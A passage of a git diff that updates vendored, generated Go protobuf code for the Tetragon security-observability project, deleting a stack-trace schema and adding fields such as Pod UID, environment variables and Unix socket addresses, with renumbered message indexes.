0x6b, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x08, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, - 0x22, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, - 0x12, 0x18, 0x0a, 0x07, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x07, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, - 0x6d, 0x62, 0x6f, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73, 0x79, 0x6d, 0x62, - 0x6f, 0x6c, 0x22, 0x42, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x54, 0x72, 0x61, 0x63, 0x65, - 0x12, 0x34, 0x0a, 0x09, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, - 0x74, 0x61, 0x63, 0x6b, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x52, 0x09, 0x61, 0x64, 0x64, - 0x72, 0x65, 0x73, 0x73, 0x65, 0x73, 0x22, 0x39, 0x0a, 0x0f, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x54, - 0x72, 0x61, 0x63, 0x65, 0x4c, 0x61, 0x62, 0x65, 0x6c, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x63, - 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x63, 0x6f, 0x75, 0x6e, - 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x54, 0x72, 0x61, 0x63, 0x65, - 0x4e, 0x6f, 0x64, 0x65, 0x12, 0x30, 0x0a, 0x07, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, - 0x2e, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x52, 0x07, 0x61, - 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x31, 0x0a, 0x06, - 0x6c, 0x61, 0x62, 0x65, 0x6c, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x74, - 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x54, 0x72, 0x61, - 0x63, 0x65, 0x4c, 0x61, 0x62, 0x65, 0x6c, 0x52, 0x06, 0x6c, 0x61, 0x62, 0x65, 0x6c, 0x73, 0x12, - 0x34, 0x0a, 0x08, 0x63, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x18, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x74, 0x61, - 0x63, 0x6b, 0x54, 0x72, 0x61, 0x63, 0x65, 0x4e, 0x6f, 0x64, 0x65, 0x52, 0x08, 0x63, 0x68, 0x69, - 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, - 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x69, 0x6c, 0x69, 0x75, 0x6d, 0x2f, 0x74, 0x65, 0x74, 0x72, 0x61, - 0x67, 0x6f, 0x6e, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x31, 0x2f, 0x74, 0x65, 0x74, 0x72, 0x61, - 0x67, 0x6f, 0x6e, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -} - -var ( - file_tetragon_stack_proto_rawDescOnce sync.Once - file_tetragon_stack_proto_rawDescData = file_tetragon_stack_proto_rawDesc -) - -func file_tetragon_stack_proto_rawDescGZIP() []byte { - file_tetragon_stack_proto_rawDescOnce.Do(func() { - file_tetragon_stack_proto_rawDescData = protoimpl.X.CompressGZIP(file_tetragon_stack_proto_rawDescData) - }) - return file_tetragon_stack_proto_rawDescData -} - -var file_tetragon_stack_proto_msgTypes = make([]protoimpl.MessageInfo, 4) -var file_tetragon_stack_proto_goTypes = []any{ - (*StackAddress)(nil), // 0: tetragon.StackAddress - (*StackTrace)(nil), // 1: tetragon.StackTrace - (*StackTraceLabel)(nil), // 2: tetragon.StackTraceLabel - (*StackTraceNode)(nil), // 3: tetragon.StackTraceNode -} -var file_tetragon_stack_proto_depIdxs = []int32{ - 0, // 0: tetragon.StackTrace.addresses:type_name -> tetragon.StackAddress - 0, // 1: tetragon.StackTraceNode.address:type_name -> tetragon.StackAddress - 2, // 2: tetragon.StackTraceNode.labels:type_name -> tetragon.StackTraceLabel - 3, // 3: tetragon.StackTraceNode.children:type_name -> tetragon.StackTraceNode - 4, // [4:4] is the sub-list for method output_type - 4, // [4:4] is the sub-list for method input_type - 4, // [4:4] is the sub-list for extension type_name - 4, // [4:4] is the sub-list for extension extendee - 0, // [0:4] is the sub-list for field type_name -} - -func init() { file_tetragon_stack_proto_init() } -func file_tetragon_stack_proto_init() { - if File_tetragon_stack_proto != nil { - return - } - type x struct{} - out := protoimpl.TypeBuilder{ - File: protoimpl.DescBuilder{ - GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_tetragon_stack_proto_rawDesc, - NumEnums: 0, - NumMessages: 4, - NumExtensions: 0, - NumServices: 0, - }, - GoTypes: file_tetragon_stack_proto_goTypes, - DependencyIndexes: file_tetragon_stack_proto_depIdxs, - MessageInfos: file_tetragon_stack_proto_msgTypes, - }.Build() - File_tetragon_stack_proto = out.File - file_tetragon_stack_proto_rawDesc = nil - file_tetragon_stack_proto_goTypes = nil - file_tetragon_stack_proto_depIdxs = nil -} diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/stack.proto b/vendor/github.com/cilium/tetragon/api/v1/tetragon/stack.proto deleted file mode 100644 index f0f90bef..00000000 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/stack.proto +++ /dev/null @@ -1,33 +0,0 @@ -// SPDX-License-Identifier: Apache-2.0 -// Copyright Authors of Hubble - -syntax = "proto3"; - -package tetragon; - -option go_package = "github.com/cilium/tetragon/api/v1/tetragon"; - -/** - * Stack traces - */ - -message StackAddress { - uint64 address = 1; - string symbol = 2; -} - -message StackTrace { - repeated StackAddress addresses = 1; -} - -message StackTraceLabel { - string key = 1; - uint64 count = 2; -} - -message StackTraceNode { - StackAddress address = 1; - uint64 count = 2; - repeated StackTraceLabel labels = 3; - repeated StackTraceNode children = 4; -} diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/tetragon.pb.go b/vendor/github.com/cilium/tetragon/api/v1/tetragon/tetragon.pb.go index fefb02d1..8740bb58 100644 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/tetragon.pb.go +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/tetragon.pb.go @@ -59,6 +59,8 @@ const ( KprobeAction_KPROBE_ACTION_NOTIFYENFORCER KprobeAction = 13 // CleanupEnforcerNotification action cleanups any state left by NotifyEnforcer KprobeAction_KPROBE_ACTION_CLEANUPENFORCERNOTIFICATION KprobeAction = 14 + // Set action sets first USDT argument + KprobeAction_KPROBE_ACTION_SET KprobeAction = 15 ) // Enum value maps for KprobeAction. @@ -79,6 +81,7 @@ var ( 12: "KPROBE_ACTION_UNTRACKSOCK", 13: "KPROBE_ACTION_NOTIFYENFORCER", 14: "KPROBE_ACTION_CLEANUPENFORCERNOTIFICATION", + 15: "KPROBE_ACTION_SET", } KprobeAction_value = map[string]int32{ "KPROBE_ACTION_UNKNOWN": 0, @@ -96,6 +99,7 @@ var ( "KPROBE_ACTION_UNTRACKSOCK": 12, "KPROBE_ACTION_NOTIFYENFORCER": 13, "KPROBE_ACTION_CLEANUPENFORCERNOTIFICATION": 14, + "KPROBE_ACTION_SET": 15, } ) @@ -510,6 +514,8 @@ type Pod struct { Namespace string `protobuf:"bytes,1,opt,name=namespace,proto3" json:"namespace,omitempty"` // Name of the Pod. Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` + // UID of the Pod. + Uid string `protobuf:"bytes,3,opt,name=uid,proto3" json:"uid,omitempty"` // Container of the Pod from which the process that triggered the event // originates. Container *Container `protobuf:"bytes,4,opt,name=container,proto3" json:"container,omitempty"` @@ -569,6 +575,13 @@ func (x *Pod) GetName() string { return "" } +func (x *Pod) GetUid() string { + if x != nil { + return x.Uid + } + return "" +} + func (x *Pod) GetContainer() *Container { if x != nil { return x.Container @@ -1293,6 +1306,59 @@ func (x *UserRecord) GetName() string { return "" } +// Environment variable +type EnvVar struct { + state protoimpl.MessageState `protogen:"open.v1"` + Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *EnvVar) Reset() { + *x = EnvVar{} + mi := &file_tetragon_tetragon_proto_msgTypes[13] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *EnvVar) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*EnvVar) ProtoMessage() {} + +func (x *EnvVar) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_tetragon_proto_msgTypes[13] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use EnvVar.ProtoReflect.Descriptor instead. +func (*EnvVar) Descriptor() ([]byte, []int) { + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{13} +} + +func (x *EnvVar) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *EnvVar) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + type Process struct { state protoimpl.MessageState `protogen:"open.v1"` // Exec ID uniquely identifies the process over time across all the nodes in the cluster. @@ -1404,14 +1470,16 @@ type Process struct { // process tree rooted at pid=1 in its PID namespace. This is useful if, // for example, you wish to discern whether a process was spawned using a // tool like nsenter or kubectl exec. - InInitTree *wrapperspb.BoolValue `protobuf:"bytes,20,opt,name=in_init_tree,json=inInitTree,proto3" json:"in_init_tree,omitempty"` - unknownFields protoimpl.UnknownFields - sizeCache protoimpl.SizeCache + InInitTree *wrapperspb.BoolValue `protobuf:"bytes,20,opt,name=in_init_tree,json=inInitTree,proto3" json:"in_init_tree,omitempty"` + // Environment variables passed to the binary at execution. + EnvironmentVariables []*EnvVar `protobuf:"bytes,21,rep,name=environment_variables,json=environmentVariables,proto3" json:"environment_variables,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *Process) Reset() { *x = Process{} - mi := &file_tetragon_tetragon_proto_msgTypes[13] + mi := &file_tetragon_tetragon_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1423,7 +1491,7 @@ func (x *Process) String() string { func (*Process) ProtoMessage() {} func (x *Process) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[13] + mi := &file_tetragon_tetragon_proto_msgTypes[14] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1436,7 +1504,7 @@ func (x *Process) ProtoReflect() protoreflect.Message { // Deprecated: Use Process.ProtoReflect.Descriptor instead. func (*Process) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{13} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{14} } func (x *Process) GetExecId() string { @@ -1579,6 +1647,13 @@ func (x *Process) GetInInitTree() *wrapperspb.BoolValue { return nil } +func (x *Process) GetEnvironmentVariables() []*EnvVar { + if x != nil { + return x.EnvironmentVariables + } + return nil +} + type ProcessExec struct { state protoimpl.MessageState `protogen:"open.v1"` // Process that triggered the exec. @@ -1593,7 +1668,7 @@ type ProcessExec struct { func (x *ProcessExec) Reset() { *x = ProcessExec{} - mi := &file_tetragon_tetragon_proto_msgTypes[14] + mi := &file_tetragon_tetragon_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1605,7 +1680,7 @@ func (x *ProcessExec) String() string { func (*ProcessExec) ProtoMessage() {} func (x *ProcessExec) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[14] + mi := &file_tetragon_tetragon_proto_msgTypes[15] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1618,7 +1693,7 @@ func (x *ProcessExec) ProtoReflect() protoreflect.Message { // Deprecated: Use ProcessExec.ProtoReflect.Descriptor instead. func (*ProcessExec) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{14} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{15} } func (x *ProcessExec) GetProcess() *Process { @@ -1666,7 +1741,7 @@ type ProcessExit struct { func (x *ProcessExit) Reset() { *x = ProcessExit{} - mi := &file_tetragon_tetragon_proto_msgTypes[15] + mi := &file_tetragon_tetragon_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1678,7 +1753,7 @@ func (x *ProcessExit) String() string { func (*ProcessExit) ProtoMessage() {} func (x *ProcessExit) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[15] + mi := &file_tetragon_tetragon_proto_msgTypes[16] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1691,7 +1766,7 @@ func (x *ProcessExit) ProtoReflect() protoreflect.Message { // Deprecated: Use ProcessExit.ProtoReflect.Descriptor instead. func (*ProcessExit) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{15} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{16} } func (x *ProcessExit) GetProcess() *Process { @@ -1755,7 +1830,7 @@ type KprobeSock struct { func (x *KprobeSock) Reset() { *x = KprobeSock{} - mi := &file_tetragon_tetragon_proto_msgTypes[16] + mi := &file_tetragon_tetragon_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1767,7 +1842,7 @@ func (x *KprobeSock) String() string { func (*KprobeSock) ProtoMessage() {} func (x *KprobeSock) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[16] + mi := &file_tetragon_tetragon_proto_msgTypes[17] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1780,7 +1855,7 @@ func (x *KprobeSock) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeSock.ProtoReflect.Descriptor instead. func (*KprobeSock) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{16} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{17} } func (x *KprobeSock) GetFamily() string { @@ -1881,7 +1956,7 @@ type KprobeSkb struct { func (x *KprobeSkb) Reset() { *x = KprobeSkb{} - mi := &file_tetragon_tetragon_proto_msgTypes[17] + mi := &file_tetragon_tetragon_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1893,7 +1968,7 @@ func (x *KprobeSkb) String() string { func (*KprobeSkb) ProtoMessage() {} func (x *KprobeSkb) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[17] + mi := &file_tetragon_tetragon_proto_msgTypes[18] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1906,7 +1981,7 @@ func (x *KprobeSkb) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeSkb.ProtoReflect.Descriptor instead. func (*KprobeSkb) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{17} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{18} } func (x *KprobeSkb) GetHash() uint32 { @@ -2011,7 +2086,7 @@ type KprobeSockaddr struct { func (x *KprobeSockaddr) Reset() { *x = KprobeSockaddr{} - mi := &file_tetragon_tetragon_proto_msgTypes[18] + mi := &file_tetragon_tetragon_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2023,7 +2098,7 @@ func (x *KprobeSockaddr) String() string { func (*KprobeSockaddr) ProtoMessage() {} func (x *KprobeSockaddr) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[18] + mi := &file_tetragon_tetragon_proto_msgTypes[19] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2036,7 +2111,7 @@ func (x *KprobeSockaddr) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeSockaddr.ProtoReflect.Descriptor instead. func (*KprobeSockaddr) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{18} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{19} } func (x *KprobeSockaddr) GetFamily() string { @@ -2060,6 +2135,58 @@ func (x *KprobeSockaddr) GetPort() uint32 { return 0 } +type KprobeSockaddrUn struct { + state protoimpl.MessageState `protogen:"open.v1"` + Family string `protobuf:"bytes,1,opt,name=family,proto3" json:"family,omitempty"` + Path string `protobuf:"bytes,2,opt,name=path,proto3" json:"path,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *KprobeSockaddrUn) Reset() { + *x = KprobeSockaddrUn{} + mi := &file_tetragon_tetragon_proto_msgTypes[20] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *KprobeSockaddrUn) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*KprobeSockaddrUn) ProtoMessage() {} + +func (x *KprobeSockaddrUn) ProtoReflect() protoreflect.Message { + mi := &file_tetragon_tetragon_proto_msgTypes[20] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use KprobeSockaddrUn.ProtoReflect.Descriptor instead. +func (*KprobeSockaddrUn) Descriptor() ([]byte, []int) { + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{20} +} + +func (x *KprobeSockaddrUn) GetFamily() string { + if x != nil { + return x.Family + } + return "" +} + +func (x *KprobeSockaddrUn) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + type KprobeNetDev struct { state protoimpl.MessageState `protogen:"open.v1"` Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` @@ -2069,7 +2196,7 @@ type KprobeNetDev struct { func (x *KprobeNetDev) Reset() { *x = KprobeNetDev{} - mi := &file_tetragon_tetragon_proto_msgTypes[19] + mi := &file_tetragon_tetragon_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2081,7 +2208,7 @@ func (x *KprobeNetDev) String() string { func (*KprobeNetDev) ProtoMessage() {} func (x *KprobeNetDev) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[19] + mi := &file_tetragon_tetragon_proto_msgTypes[21] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2094,7 +2221,7 @@ func (x *KprobeNetDev) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeNetDev.ProtoReflect.Descriptor instead. func (*KprobeNetDev) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{19} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{21} } func (x *KprobeNetDev) GetName() string { @@ -2116,7 +2243,7 @@ type KprobePath struct { func (x *KprobePath) Reset() { *x = KprobePath{} - mi := &file_tetragon_tetragon_proto_msgTypes[20] + mi := &file_tetragon_tetragon_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2128,7 +2255,7 @@ func (x *KprobePath) String() string { func (*KprobePath) ProtoMessage() {} func (x *KprobePath) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[20] + mi := &file_tetragon_tetragon_proto_msgTypes[22] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2141,7 +2268,7 @@ func (x *KprobePath) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobePath.ProtoReflect.Descriptor instead. func (*KprobePath) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{20} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{22} } func (x *KprobePath) GetMount() string { @@ -2184,7 +2311,7 @@ type KprobeFile struct { func (x *KprobeFile) Reset() { *x = KprobeFile{} - mi := &file_tetragon_tetragon_proto_msgTypes[21] + mi := &file_tetragon_tetragon_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2196,7 +2323,7 @@ func (x *KprobeFile) String() string { func (*KprobeFile) ProtoMessage() {} func (x *KprobeFile) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[21] + mi := &file_tetragon_tetragon_proto_msgTypes[23] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2209,7 +2336,7 @@ func (x *KprobeFile) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeFile.ProtoReflect.Descriptor instead. func (*KprobeFile) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{21} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{23} } func (x *KprobeFile) GetMount() string { @@ -2250,7 +2377,7 @@ type KprobeTruncatedBytes struct { func (x *KprobeTruncatedBytes) Reset() { *x = KprobeTruncatedBytes{} - mi := &file_tetragon_tetragon_proto_msgTypes[22] + mi := &file_tetragon_tetragon_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2262,7 +2389,7 @@ func (x *KprobeTruncatedBytes) String() string { func (*KprobeTruncatedBytes) ProtoMessage() {} func (x *KprobeTruncatedBytes) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[22] + mi := &file_tetragon_tetragon_proto_msgTypes[24] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2275,7 +2402,7 @@ func (x *KprobeTruncatedBytes) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeTruncatedBytes.ProtoReflect.Descriptor instead. func (*KprobeTruncatedBytes) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{22} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{24} } func (x *KprobeTruncatedBytes) GetBytesArg() []byte { @@ -2303,7 +2430,7 @@ type KprobeCred struct { func (x *KprobeCred) Reset() { *x = KprobeCred{} - mi := &file_tetragon_tetragon_proto_msgTypes[23] + mi := &file_tetragon_tetragon_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2315,7 +2442,7 @@ func (x *KprobeCred) String() string { func (*KprobeCred) ProtoMessage() {} func (x *KprobeCred) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[23] + mi := &file_tetragon_tetragon_proto_msgTypes[25] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2328,7 +2455,7 @@ func (x *KprobeCred) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeCred.ProtoReflect.Descriptor instead. func (*KprobeCred) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{23} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{25} } func (x *KprobeCred) GetPermitted() []CapabilitiesType { @@ -2363,7 +2490,7 @@ type KprobeLinuxBinprm struct { func (x *KprobeLinuxBinprm) Reset() { *x = KprobeLinuxBinprm{} - mi := &file_tetragon_tetragon_proto_msgTypes[24] + mi := &file_tetragon_tetragon_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2375,7 +2502,7 @@ func (x *KprobeLinuxBinprm) String() string { func (*KprobeLinuxBinprm) ProtoMessage() {} func (x *KprobeLinuxBinprm) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[24] + mi := &file_tetragon_tetragon_proto_msgTypes[26] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2388,7 +2515,7 @@ func (x *KprobeLinuxBinprm) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeLinuxBinprm.ProtoReflect.Descriptor instead. func (*KprobeLinuxBinprm) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{24} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{26} } func (x *KprobeLinuxBinprm) GetPath() string { @@ -2422,7 +2549,7 @@ type KprobeCapability struct { func (x *KprobeCapability) Reset() { *x = KprobeCapability{} - mi := &file_tetragon_tetragon_proto_msgTypes[25] + mi := &file_tetragon_tetragon_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2434,7 +2561,7 @@ func (x *KprobeCapability) String() string { func (*KprobeCapability) ProtoMessage() {} func (x *KprobeCapability) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[25] + mi := &file_tetragon_tetragon_proto_msgTypes[27] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2447,7 +2574,7 @@ func (x *KprobeCapability) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeCapability.ProtoReflect.Descriptor instead. func (*KprobeCapability) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{25} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{27} } func (x *KprobeCapability) GetValue() *wrapperspb.Int32Value { @@ -2476,7 +2603,7 @@ type KprobeUserNamespace struct { func (x *KprobeUserNamespace) Reset() { *x = KprobeUserNamespace{} - mi := &file_tetragon_tetragon_proto_msgTypes[26] + mi := &file_tetragon_tetragon_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2488,7 +2615,7 @@ func (x *KprobeUserNamespace) String() string { func (*KprobeUserNamespace) ProtoMessage() {} func (x *KprobeUserNamespace) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_tetragon_proto_msgTypes[26] + mi := &file_tetragon_tetragon_proto_msgTypes[28] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2501,7 +2628,7 @@ func (x *KprobeUserNamespace) ProtoReflect() protoreflect.Message { // Deprecated: Use KprobeUserNamespace.ProtoReflect.Descriptor instead. func (*KprobeUserNamespace) Descriptor() ([]byte, []int) { - return file_tetragon_tetragon_proto_rawDescGZIP(), []int{26} + return file_tetragon_tetragon_proto_rawDescGZIP(), []int{28} } func (x *KprobeUserNamespace) GetLevel() *wrapperspb.Int32Value { @@ -2543,7 +2670,7 @@ type KprobeBpfAttr struct { func (x *KprobeBpfAttr) Reset() { *x = KprobeBpfAttr{} - mi := &file_tetragon_tetragon_proto_msgTypes[27] + mi := &file_tetragon_tetragon_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) 